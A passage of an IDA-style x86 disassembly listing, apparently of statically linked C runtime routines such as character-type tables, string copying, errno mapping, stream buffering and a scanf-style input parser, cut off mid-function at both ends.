		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC7E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC6E0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC914, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC914, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC7E1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C504, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB27C, ecx
		mov	eax, offset dword_43C610


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C778
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB278, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C614[edx*8]
		mov	dword_4DB278, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB278, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB278, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA08
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA28
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB460
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB304[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB304h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C504, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C2F8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C504, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C508, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C508
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C504, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C504, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8A8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C780
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C778


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
